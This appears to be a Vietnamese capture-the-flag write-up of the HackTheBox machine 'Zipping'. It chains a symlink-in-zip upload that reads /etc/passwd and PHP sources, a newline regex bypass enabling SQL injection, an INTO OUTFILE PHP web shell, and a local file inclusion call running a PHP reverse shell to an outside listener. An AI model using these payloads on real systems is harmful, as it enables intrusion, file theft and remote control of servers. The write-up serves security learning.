- vừa được xem lúc

[Write-up] Hackthebox: Zipping - SQL Injection to LFI

0 0 13

Người đăng: Phạm Hiếu

Theo Viblo Asia

OS Difficulty
Linux Medium

Giới thiệu

Zipping là 1 machine thuộc dạng medium của Hackthebox. Với mức độ easy thì phần lớn là chúng ta sẽ dùng các CVE để thực hiện khai thác. Nhưng với những bài dạng medium thì cần phải có hiểu biết với những lỗ hổng bảo mật cũng như cách bypass filter mà đề bài đặt ra. Với bài zipping này ta sẽ có kiến thức về symlink, bypass được regex, SQL Injection, Local File Inclusion

1. Recon

Thực hiện nmap để scan port đang mở

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.229
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-25 02:33 EST
Nmap scan report for 10.10.11.229
Host is up (2.2s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds

Hiện nó đang mở cổng ssh và http.

Server chạy với ngôn ngữ PHP và trên Apache Server

2. Enum

Thực hiện directory scan

┌──(kali㉿kali)-[~/hackthebox/zipping]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.229/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3
________________________________________________ :: Method : GET :: URL : http://10.10.11.229/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________ [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 974ms]
uploads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 124ms]
shop [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 113ms]
assets [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 105ms]

Thực hiện kiểm tra trên giao diện web

Chức năng Work with Us cho phép ta upload file cv bằng pdf và thư mục lưu trữ các file đó sẽ là /uploads

Chức năng Shop sẽ redirect ta đến 1 trang web mua hàng:

3. Exploit

Quay lại với chức năng upload cv mà mình tìm được

Yêu cầu đầu vào của nó là file up lên phải là 1 file .zip và file .zip đó được nén từ file .pdf. Như này thì ta không thể thực hiện bằng file upload thông thường với php được

Sau khi tìm kiếm trên hacktricks thì đó là upload symlink. Nguồn của nó ở đây.

Cụ thể ta sẽ thực hiện upload 1 symlink với đuôi .pdf trỏ đến file có trên server. Câu lệnh linux sẽ như sau:

ln -s ../../../../../../../../đường_dẫn_đến_file_ta_cần_xem tên_file.pdf

Sau đó sẽ thực hiện zip lại

zip --symlinks tên_file.zip tên_file.pdf

Để kiểm chứng giả thuyết mình sẽ thực hiện tạo symlink với /etc/passwd

ln -s ../../../../../../../../etc/passwd passwd.pdf

Mình sẽ đặt tên cái symlink này là passwd.pdf . Sau đó sẽ thực hiện zip lại với tên là passwd.zip

zip --symlinks passwd.zip passwd.pdf

Sau đó sẽ upload lên thành công mình đọc nó sẽ tạo cho mình 1 thư mục ngẫu nhiên trong đó có file pdf(lúc này là symlink) mà mình đã nén. Như hình dưới là /uploads/829dd708554768e3f1bc404bf4daf445/symlink.pdf

Như vậy đến lúc này mình hoàn toàn có thể đọc được flag của user do mình biết trong file /etc/passwd có 1 người dùng tên là rektsu và có thư mục là /home/rektsu (ở dòng 35 ở phần response trả về)

Nhưng mục đích của mình là RCE được hệ thống ít nhất với quyền user nên là mình sẽ không vội xem flag

Đến với việc khai thác chính:

Đầu tiên ta cần phải xem trên web nó gồm những file php nào. Sau một hồi tìm tất cả các chức năng thì mình tìm được các tên tệp sau:

  • index.php
  • upload.php
  • shop (folder )
    • home.php
    • products.php
    • product.php
    • cart.php
    • function.php

Sau đó chúng ta sẽ đọc từng file trên hệ thống như cái cách ta kiểm chứng giả thuyết với /etc/passwd ở trên. Mình sẽ đưa các file là attack surface xuống dưới đây và giải thích

/shop/index.php
<?php session_start(); // Include functions and connect to the database using PDO MySQL include 'functions.php'; $pdo = pdo_connect_mysql(); // Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see. $page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home'; // Include and show the requested page include $page . '.php';
?>

Chức năng của file index này nó có input là page sau đó nó nối input của chúng ta vào đuôi .php Sau đó sẽ kiểm tra xem nó có tồn tại hay không nếu có sẽ thực hiện include file đó. Nếu không nó sẽ gọi đến home.php (1 trang không khai thác được)

Thì điểm khai thác ở đây là nó nhận untrusted data ở biếnpage và sử dụng include để gọi đến, dẫn đến lỗ hổng Local File Inclusion(LFI). Nhưng trở ngại ở đây là cái file mình nhập vào nó phải tồn tại trên server và có đuôi .php . Và như vậy theo mình đây là 1 nơi để có thể RCE

/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) { $id = $_GET['id']; // Filtering user input for letters or special characters if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) { header('Location: index.php'); } else { // Prepare statement and execute, but does not prevent SQL injection $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'"); $stmt->execute(); // Fetch the product from the database and return the result as an Array $product = $stmt->fetch(PDO::FETCH_ASSOC); // Check if the product exists (array is not empty) if (!$product) { // Simple error to display if the id for the product doesn't exists (array is empty) exit('Product does not exist!'); } }
} else { // Simple error to display if the id wasn't specified exit('No ID provided!');
}
?>

Ở file product.php này, nó có biến id mà ta có thể thay đổi được. Biến id này sẽ đi vào 1 cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/ , giải thích qua cái regex này thì nó sẽ kiểm tra xem id có phải là số không, nếu không phải là số web sẽ redirect về index.php . Nếu là số nó sẽ xuống else và đi vào câu truy vấn.

Ở code có sử dụng prepare statements(1 cách để chống với SQL injection) nhưng thực ra biến id được nối vào câu query nên ta vẫn có thể khai thác SQLi được.

Attack vector mình nghĩ trong đầu sẽ là:

  • SQL injection để tạo file shell.php trong hệ thống
  • Sau đó dùng LFI để include đến file shell.php rồi có thể RCE hệ thống

Bắt đầu thực hiện

Đầu tiên với product.php

/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) { $id = $_GET['id']; // Filtering user input for letters or special characters if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) { header('Location: index.php'); } else { // Prepare statement and execute, but does not prevent SQL injection $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'"); $stmt->execute(); // Fetch the product from the database and return the result as an Array $product = $stmt->fetch(PDO::FETCH_ASSOC); // Check if the product exists (array is not empty) if (!$product) { // Simple error to display if the id for the product doesn't exists (array is empty) exit('Product does not exist!'); } }
} else { // Simple error to display if the id wasn't specified exit('No ID provided!');
}
?>

Đầu tiên ta cần nhập biến id vào mà có thể bypass cái regex ở if và đi đến câu query. Sau khi tìm hiểu thì mình tìm được ở đây , giải thích thì

Để bypass cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/ chúng ta sẽ thực hiện xuống dòng sau (%0A) để bypass cụm 1(.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]) và để số ở cuối để bypass cụm 2([^0-9])

Như vậy input của mình sẽ là:

%0A'; select sleep(5) #4
-- URL encode: %0a'%3bselect%20sleep(5)%20%234

Câu lệnh này nếu thực hiện sẽ cho hệ thống chờ 5 giây

Kiểm tra trên burp và nó có thời gian phản hồi là 5 giây ở phần khoanh đỏ

Như vậy ta có thể thực hiện SQL trên hệ thống. Nhưng SQL để làm gì? SQL ngoài truy vấn ra còn có thể ghi file lên hệ thống nhưng phải có quyền ghi, mà làm sao mình biết mình có quyền hay không?

Và theo mình tìm hiểu thì chúng ta có quyền ghi file vào /var/lib/mysql/ , nó giống như /tmp trong linux vậy

Như vậy mình bắt đầu viết câu query để thực hiện tạo file và ghi vào file đó trên /var/lib/mysql/. Payload là:

%0A';select '<?php system($_GET["cmd"]); ?>' into outfile '/var/lib/mysql/shell123.php' #4

Thực hiện gửi request

Đến đây mình sẽ dùng LFI để có thể gọi đến file .php này và RCE

Chúng ta thực hiện reverse shell và lắng nghe ở máy local

http://10.10.11.229/shop/index.php?page=../../../../../../../../var/lib/mysql/shell123&cmd=../../../../../../../../var/lib/mysql/shell123&cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.74%22,8888);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27

RCE thành công

4. Recommendation

  • Không cho untrusted data được lọt vào hàm include
  • Nên thực sự hiểu và dùng regex

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tấn công Injection là gì ?

Một trong những kiểu tấn công phổ biến nhất được biết đến đối với ứng dụng web là SQL injection. SQL injection là một kiểu tấn công nhắm vào cơ sở dữ liệu SQL, cho phép người dùng cấp các tham số của riêng họ cho một truy vấn SQL.

0 0 108

- vừa được xem lúc

Sử dụng SQLMap để khai thác lỗ hổng SQL Injection (SQLi)

Trước khi đi vào tìm hiểu về SQLMap, các bạn nên nắm được khái niệm về lỗ hổng SQL Injection. Trước đây, mình đã từng có bài viết giới thiệu các khái niệm cơ bản về kiểu tấn công này ở đây.

0 0 87

- vừa được xem lúc

Phân tích lỗi Unauthen SQL injection Woocommerce

Tóm tắt. Woocommerce là wordpress plugin cho phép xây dựng website bán hàng miễn phí.

0 0 172

- vừa được xem lúc

Tìm hiểu về SQL injection

Với yêu cầu từ các dự án của công ty, một trong những điểm bắt buộc trước khi release dự án là phải PASS qua “Security Testing”. Mình sẽ viết một loạt bài giới thiệu cũng như hướng dẫn thực hiện Secur

0 0 39

- vừa được xem lúc

Blog#186: 🔐Securing Your Application Against SQL Injection in Node.js Express

Hi, I'm Tuan, a Full-stack Web Developer from Tokyo . Securing Your Application Against SQL Injection in Node.

0 0 25

- vừa được xem lúc

[CVE-2023-39361] Unauthenticated SQL injection in Cacti v1.2.24

Description. 1.

0 0 18